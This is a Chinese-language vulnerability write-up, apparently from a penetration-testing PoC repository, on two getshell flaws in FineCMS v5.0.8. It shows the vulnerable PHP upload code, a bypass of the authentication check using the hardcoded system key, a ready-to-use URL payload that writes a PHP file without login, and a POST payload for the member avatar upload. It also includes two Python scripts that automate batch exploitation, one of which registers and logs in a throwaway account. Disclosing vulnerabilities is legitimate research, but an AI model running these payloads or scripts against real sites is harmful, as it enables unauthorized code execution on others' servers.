Penetration_Testing_POC/FineCMS_v5.0.8两处getshell.md
2019-07-26 14:42:01 +08:00

209 lines
7.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## 0x01 前言
就要被**美其名曰比我的web安全研究和代码审计更有前途。当然是选择原谅他啦。
先审计finecms去去火找到六处漏洞先放两处容易被发现的getshell和对应的两个python脚本
## 0x02 getshell
**第一处getshell**在C:/phpStudy/WWW/finecms/dayrui/controllers/Api.php中的data2函数大约在第115行有问题的代码大约在178行
```
public function data2() {
$data = array();
// 安全码认证
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
// 授权认证码不正确
$data = array('msg' => '授权认证码不正确', 'code' => 0);
} else {
// 解析数据
$cache = '';
$param = $this->input->get('param');
if (isset($param['cache']) && $param['cache']) {
$cache = md5(dr_array2string($param));
$data = $this->get_cache_data($cache);
}
if (!$data) {
if ($param == 'login') {
// 登录认证
$code = $this->member_model->login(
$this->input->get('username'),
$this->input->get('password'),
0, 1);
if (is_array($code)) {
$data = array(
'msg' => 'ok',
'code' => 1,
'return' => $this->member_model->get_member($code['uid'])
);
} elseif ($code == -1) {
$data = array('msg' => fc_lang('会员不存在'), 'code' => 0);
} elseif ($code == -2) {
$data = array('msg' => fc_lang('密码不正确'), 'code' => 0);
} elseif ($code == -3) {
$data = array('msg' => fc_lang('Ucenter注册失败'), 'code' => 0);
} elseif ($code == -4) {
$data = array('msg' => fc_lang('Ucenter会员名称不合法'), 'code' => 0);
}
} elseif ($param == 'update_avatar') {
// 更新头像
$uid = (int)$_REQUEST['uid'];
$file = $_REQUEST['file'];
//
// 创建图片存储文件夹
$dir = SYS_UPLOAD_PATH.'/member/'.$uid.'/';
@dr_dir_delete($dir);
if (!is_dir($dir)) {
dr_mkdirs($dir);
}
$file = str_replace(' ', '+', $file);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
$data = array(
'msg' => '目录权限不足或磁盘已满',
'code' => 0
);
}
```
其中,首先
```
$file = $_REQUEST['file'];
```
获取$file变量
```
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
$data = array(
'msg' => '目录权限不足或磁盘已满',
'code' => 0
);
```
然后用preg_match函数进行正则匹配因为$file变量可控所以$result也是可控的从而$new_file也是可控的可以构造为php文件然后
```
file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file))))
```
对$result[1]进行base64解码然后写入$new_file文件中。显然是可以任意写文件进行getshell的。所以我们要让程序能够运行到这些代码不能在之前就退出了。要经过
```
$auth = $this->input->get('auth');
if ($auth != md5(SYS_KEY))
```
SYS_KEY被系统硬编码为24b16fede9a67c9251d3e7c7161c83ac在C:phpStudyWWWconfigsystem.php中有定义。直接md5加密一次即可绕过
所以最终的payload为
```
http://localhost:88/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
```
无需登录直接getshell,路径为http://localhost:88/uploadfile/member/0/0x0.php
![QQ图片20170610192323.png](img/9.png)
**第二处getshell**在文件C:/phpStudy/WWW/finecms/dayrui/controllers/member/Account.php中的upload函数
```php
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足或磁盘已满'));
```
注册会员,登录
```
访问http://localhost:88/index.php?s=member&c=account&m=upload
POSTtx=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
```
![QQ图片20170610184543.png](img/10.png)
![QQ图片20170610185647.png](img/12.png)
## 0x03 Python批量poc脚本
pocsuite和poc-T是两个成熟的poc框架不过感觉核心代码是别人的只写一些poc插件的话就是为别人造轮子所以抽了一些代码写了个自己的工具可能连轻型框架都算不上只够自己用的。
第一处getshell的python代码因为是直接getshell无需登录所以很简单
```python
import sys
import requests
def poc(target):
payload="/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+"
url=target+payload
shell=target+'/uploadfile/member/0/0x0.php'
try:
result=requests.get(url,timeout=3)
verify=requests.get(shell,timeout=3)
if verify.status_code==200 and 'code' in verify.text:
return True
except Exception,e:
print e
```
第二处getshell的Python代码需要自动化注册、登录、利用
```python
#Finecms version:5.0.8
#Author:404notfound
import random
import sys
import requests
def poc(url):
username=random.randint(0,999999)
seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
email = []
for i in range(8):
email.append(random.choice(seed))
email = ''.join(email)
#print email+"@"+email+".com"
#print username
#step 1 register
#print "[+] register user"
register_url=url+"/index.php?s=member&c=register&m=index"
register_payload={"back":"","data[username]":username,"data[password]":"123456","data[password2]":"123456","data[email]":email+"@"+email+".com"}
#step 2 login
#print "[+] user login"
login_url=url+"/index.php?s=member&c=login&m=index"
login_payload={"back":"","data[username]":username,"data[password]":"123456","data[auto]":"1"}
#step 3 attack
#print "[+] loading payload"
vul_url=url+"/index.php?s=member&c=account&m=upload"
vul_payload={"tx":"data:image/php;base64,NDA0bm90Zm91bmQ8P3BocCBwaHBpbmZvKCk7Pz4="}
try:
s = requests.session()
resu=s.post(register_url,data=register_payload)
result=s.post(login_url,data=login_payload)
result2=s.post(vul_url,data=vul_payload).content
if "status" in result2:
return True
else:
return False
except Exception,e:
pass
#print e
#print "[+] ALL DONE"
#step 4 find shell path
#print poc("http://localhost")
```
主代码就不贴了可以看我的GitHubhttps://github.com/404notf0und
效果还不错:
![finecms.png](http://4o4notfound.org/usr/uploads/2017/06/4008852901.png)